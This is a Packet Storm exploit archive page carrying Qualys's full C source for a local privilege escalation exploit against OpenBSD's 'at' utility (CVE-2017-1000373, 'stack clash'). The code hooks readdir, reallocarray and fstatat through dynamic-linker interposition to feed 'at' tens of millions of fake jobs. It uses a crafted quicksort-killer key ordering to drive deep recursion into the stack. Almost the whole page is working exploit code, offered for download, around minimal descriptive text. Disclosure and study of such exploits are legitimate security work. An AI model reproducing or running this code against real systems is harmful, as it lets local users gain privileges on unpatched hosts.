exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OpenBSD at Stack Clash Privilege Escalation

OpenBSD at Stack Clash Privilege Escalation
Posted Jun 30, 2017
Site qualys.com

OpenBSD 'at' local stack clash privilege escalation exploit.

tags | exploit, local
systems | openbsd
advisories | CVE-2017-1000373
SHA-256 | a80fd36081b8074669422ec386b383f6b02e6147e8b26cd6b180b8bcfaa859d2

OpenBSD at Stack Clash Privilege Escalation

Change Mirror Download
/*
* OpenBSD_at.c for CVE-2017-1000373
* Copyright (c) 2017 Qualys, Inc.
* slowsort() adapted from lib/libc/stdlib/qsort.c:
*
* Copyright (c) 1992, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/

/*
* OpenBSD_at.c for CVE-2017-1000372
* Copyright (C) 2017 Qualys, Inc.
* ttime() adapted from usr.bin/at/at.c:
*
* at.c : Put file into atrun queue
* Copyright (C) 1993, 1994 Thomas Koenig
*
* Atrun & Atq modifications
* Copyright (C) 1993 David Parsons
*
* Traditional BSD behavior and other significant modifications
* Copyright (C) 2002-2003 Todd C. Miller
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. The name of the author(s) may not be used to endorse or promote
* products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

#include <ctype.h>
#include <dirent.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

static const char *
u64tostr(uint64_t u64)
{
static char str[64];
char * cp = str + sizeof(str);
*--cp = '\0';
do {
if (cp <= str) _exit(__LINE__);
*--cp = '0' + (u64 % 10);
} while (u64 /= 10);
return cp;
}

#define die() do { \
const char * const str = u64tostr(__LINE__); \
const size_t len = strlen(str); \
write(STDERR_FILENO, "\n[", 2); \
write(STDERR_FILENO, str, len); \
write(STDERR_FILENO, "]\n", 2); \
_exit(EXIT_FAILURE); \
} while (0)

static __inline char *med3(char *, char *, char *, int (*)(const void *, const void *));
static __inline void swapfunc(char *, char *, size_t, int);

/*
* Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
*/
#define swapcode(TYPE, parmi, parmj, n) { \
size_t i = (n) / sizeof (TYPE); \
TYPE *pi = (TYPE *) (parmi); \
TYPE *pj = (TYPE *) (parmj); \
do { \
TYPE t = *pi; \
*pi++ = *pj; \
*pj++ = t; \
} while (--i > 0); \
}

#define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;

static __inline void
swapfunc(char *a, char *b, size_t n, int swaptype)
{
if (swaptype <= 1)
swapcode(long, a, b, n)
else
swapcode(char, a, b, n)
}

#define swap(a, b) \
if (swaptype == 0) { \
long t = *(long *)(a); \
*(long *)(a) = *(long *)(b); \
*(long *)(b) = t; \
} else \
swapfunc(a, b, es, swaptype)

#define vecswap(a, b, n) if ((n) > 0) swapfunc(a, b, n, swaptype)

static __inline char *
med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
{
return cmp(a, b) < 0 ?
(cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))
:(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c ));
}

typedef struct {
size_t idx;
size_t key;
} slowsort_t;

static __inline void
set_key(void * const _pss, const size_t key)
{
slowsort_t * const pss = _pss;
if (!pss) die();
if (!key) die();
if (pss->key) die();
pss->key = key;
}

#define RESET_KEY SIZE_MAX

static void
slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size)
{
if (!aa) die();
if (n <= 0) die();
if (n >= SSIZE_MAX) die();
if (es <= 0) die();
if (es >= SSIZE_MAX) die();
if (!cmp) die();

#define SET_KEYS 4
#define STACK_FRAME_SIZE 176
const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS;
if (n < pathological) die();
size_t innocuous = n - pathological;

char *pa, *pb, *pc, *pd, *pl, *pm, *pn;
int cmp_result, swaptype;
size_t d, r;
char *a = aa;

loop: SWAPINIT(a, es);
if (innocuous) {
if (n <= innocuous) die();
if (n - innocuous <= SET_KEYS) die();
if (n <= 40) die();
}
if (n < 7) {
for (pm = a; pm < a + n * es; pm += es) {
set_key(pm, 1 + (pm - a) / es);
}
for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es)
for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0;
pl -= es)
swap(pl, pl - es);
return;
}
pm = (char *)a + (n / 2) * es;
size_t set_keys = 0;
if (n > 7) {
pl = (char *)a;
pn = (char *)a + (n - 1) * es;
if (n > 40) {
d = (n / 8) * es;
if (innocuous) {
set_key(pl, RESET_KEY);
set_key(pl + d, RESET_KEY);
set_key(pl + 2 * d, RESET_KEY);
}
pl = med3(pl, pl + d, pl + 2 * d, cmp);
if (innocuous) set_key(pm - d, RESET_KEY);
set_key(pm + 0, n - innocuous - 3);
set_key(pm + d, n - innocuous - 2);
pm = med3(pm - d, pm, pm + d, cmp);
if (innocuous) set_key(pn - 2 * d, RESET_KEY);
set_key(pn - d, n - innocuous - 1);
set_key(pn - 0, n - innocuous - 0);
pn = med3(pn - 2 * d, pn - d, pn, cmp);
set_keys = SET_KEYS;
} else {
set_key(pm, n - 1);
set_key(pn, n - 0);
set_keys = 2;
}
pm = med3(pl, pm, pn, cmp);
} else {
set_key(pm, n - 0);
set_keys = 1;
}
if (!set_keys) die();
swap(a, pm);
if (innocuous) {
if (a != aa) die();
slowsort_t * pss = aa;
{
const size_t key = pss->key;
if (!key) die();
if (n <= 40) die();
if (set_keys != SET_KEYS) die();
if (key != n - innocuous - set_keys + 1) die();
}
const slowsort_t * const end = pss + n;
size_t i = 0;
for (;; pss++) {
if (pss >= end) {
if (i != innocuous) die();
break;
}
if (!pss->key) {
if (i < innocuous) {
set_key(pss, n - i++);
set_keys++;
}
} else if (pss->key == RESET_KEY) {
pss->key = 0;
} else {
if (pss->key > n - innocuous) die();
}
}
}
pa = pb = (char *)a + es;
pc = pd = (char *)a + (n - 1) * es;
for (;;) {
while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) {
if (cmp_result == 0) {
swap(pa, pb);
pa += es;
}
pb += es;
}
while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) {
if (cmp_result == 0) {
swap(pc, pd);
pd -= es;
}
pc -= es;
}
if (pb > pc)
break;
swap(pb, pc);
pb += es;
pc -= es;
}

pn = (char *)a + n * es;
r = MIN(pa - (char *)a, pb - pa);
vecswap(a, pb - r, r);
r = MIN(pd - pc, pn - pd - (ssize_t)es);
vecswap(pb, pn - r, r);

if ((pb - pa) / es != n - set_keys) die();
if ((pd - pc) / es != set_keys - 1) die();

if ((r = pb - pa) > es) {
n = r / es;
innocuous = 0;
goto loop;
}
die();
}

static int
cmp_key(const void * const a, const void * const b)
{
const size_t __a_key = ((const slowsort_t *)a)->key;
const size_t __b_key = ((const slowsort_t *)b)->key;
const size_t a_key = __a_key != RESET_KEY ? __a_key : 0;
const size_t b_key = __b_key != RESET_KEY ? __b_key : 0;
if (a_key < b_key) return -1;
if (a_key > b_key) return +1;
return 0;
}

#define ATOI2(s) ((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0'))

/*
* Adapted from date(1)
*/
static time_t
ttime(char *arg)
{
time_t now, then;
struct tm *lt;
int yearset;
char *dot, *p;

if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL)
die();

/* Valid date format is [[CC]YY]MMDDhhmm[.SS] */
for (p = arg, dot = NULL; *p != '\0'; p++) {
if (*p == '.' && dot == NULL)
dot = p;
else if (!isdigit((unsigned char)*p))
goto terr;
}
if (dot == NULL)
lt->tm_sec = 0;
else {
*dot++ = '\0';
if (strlen(dot) != 2)
goto terr;
lt->tm_sec = ATOI2(dot);
if (lt->tm_sec > 61) /* could be leap second */
goto terr;
}

yearset = 0;
switch(strlen(arg)) {
case 12: /* CCYYMMDDhhmm */
lt->tm_year = ATOI2(arg) * 100;
lt->tm_year -= 1900; /* Convert to Unix time */
yearset = 1;
/* FALLTHROUGH */
case 10: /* YYMMDDhhmm */
if (yearset) {
yearset = ATOI2(arg);
lt->tm_year += yearset;
} else {
yearset = ATOI2(arg);
/* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */
lt->tm_year = yearset;
if (yearset < 69)
lt->tm_year += 100;
}
/* FALLTHROUGH */
case 8: /* MMDDhhmm */
lt->tm_mon = ATOI2(arg);
if (lt->tm_mon > 12 || lt->tm_mon == 0)
goto terr;
--lt->tm_mon; /* Convert from 01-12 to 00-11 */
lt->tm_mday = ATOI2(arg);
if (lt->tm_mday > 31 || lt->tm_mday == 0)
goto terr;
lt->tm_hour = ATOI2(arg);
if (lt->tm_hour > 23)
goto terr;
lt->tm_min = ATOI2(arg);
if (lt->tm_min > 59)
goto terr;
break;
default:
goto terr;
}

lt->tm_isdst = -1; /* mktime will deduce DST. */
then = mktime(lt);
if (then == (time_t)-1) {
terr:
die();
}
if (then < now)
die();
return (then);
}

static bool reading_jobs;

void *
reallocarray(void * const ptr, const size_t nmemb, const size_t size)
{
static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size);
if (!real_reallocarray) {
real_reallocarray = dlsym(RTLD_NEXT, "reallocarray");
if (!real_reallocarray) die();
}
if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) {
if (reading_jobs) die();
reading_jobs = true;
}
void * const new_ptr = real_reallocarray(ptr, nmemb, size);
if (!new_ptr) die();
return new_ptr;
}

#define NUMJOBS (40<<20)

static const size_t *
get_jobkeys(void)
{
const size_t n = NUMJOBS;
slowsort_t * const a = calloc(n, sizeof(slowsort_t));
write(STDERR_FILENO, "initializing jobkeys\n", 21);
if (!a) die();
size_t i;
for (i = 0; i < n; i++) {
a[i].idx = i;
}
slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20);
size_t * const jobkeys = calloc(n, sizeof(*jobkeys));
write(STDERR_FILENO, "finalizing jobkeys\n", 19);
if (!jobkeys) die();
for (i = 0; i < n; i++) {
const size_t j = a[i].idx;
const size_t k = a[i].key;
if (j >= n) die();
if (k <= 0) die();
if (k > n) die();
if (jobkeys[j]) die();
jobkeys[j] = k;
}
free(a);
return jobkeys;
}

static struct dirent dirent;

struct dirent *
readdir(DIR * const dirp)
{
static struct dirent * (* real_readdir)(DIR *dirp);
if (!real_readdir) {
real_readdir = dlsym(RTLD_NEXT, "readdir");
if (!real_readdir) die();
}
if (!reading_jobs) {
return real_readdir(dirp);
}
static size_t numjobs;
if (numjobs >= NUMJOBS) {
write(STDERR_FILENO, "sorting jobs\n", 13);
return NULL;
}
static char arg[32];
char * cp = arg + sizeof(arg);
*--cp = '\0';
{
static const struct {
uint32_t min;
uint32_t max;
} units[] = {
{ 0, 59 }, /* Second */
{ 0, 59 }, /* Minute */
{ 0, 23 }, /* Hour */
{ 1, 28 }, /* Day */
{ 1, 12 }, /* Month */
{ 2038, 2099 } /* Year */
};
static const size_t * jobkeys;
if (!jobkeys) {
jobkeys = get_jobkeys();
if (!jobkeys) die();
write(STDERR_FILENO, "reading jobs\n", 13);
}
uint32_t timer = jobkeys[numjobs++];
if (timer > NUMJOBS) die();
if (timer <= 0) die();
static size_t percent = 10;
if (numjobs == NUMJOBS / 100 * percent) {
const char * const str = u64tostr(percent);
const size_t len = strlen(str);
write(STDERR_FILENO, str, len);
write(STDERR_FILENO, "%\n", 2);
percent += 10;
}
size_t i;
for (i = 0; i < sizeof(units)/sizeof(*units); i++) {
const uint32_t min = units[i].min;
const uint32_t max = units[i].max;
const uint32_t div = max - min + 1;
const uint32_t u32 = min + timer % div;
timer /= div;
if (u32 < min) die();
if (u32 > max) die();
const char * const str = u64tostr(u32);
const size_t len = strlen(str);
if (cp <= arg) die();
if (cp - arg < (ssize_t)len) die();
cp -= len;
memcpy(cp, str, len);
if (len < 2) {
if (cp <= arg) die();
*--cp = '0';
}
if (!i) {
if (cp <= arg) die();
*--cp = '.';
}
}
if (timer) die();
}
if (strlen(cp) != 15) die();
const uint64_t timer = ttime(cp);
strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name));
strlcat(dirent.d_name, ".x", sizeof(dirent.d_name));
return &dirent;
}

int
fstatat(const int fd, const char * const path, struct stat * const sb, const int flag)
{
static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag);
if (!real_fstatat) {
real_fstatat = dlsym(RTLD_NEXT, "fstatat");
if (!real_fstatat) die();
}
if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) {
return real_fstatat(fd, path, sb, flag);
}
memset(sb, 0, sizeof(*sb));
sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR;
static uid_t user_uid;
if (!user_uid) {
user_uid = getuid();
if (!user_uid) die();
}
sb->st_uid = user_uid;
return 0;
}

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close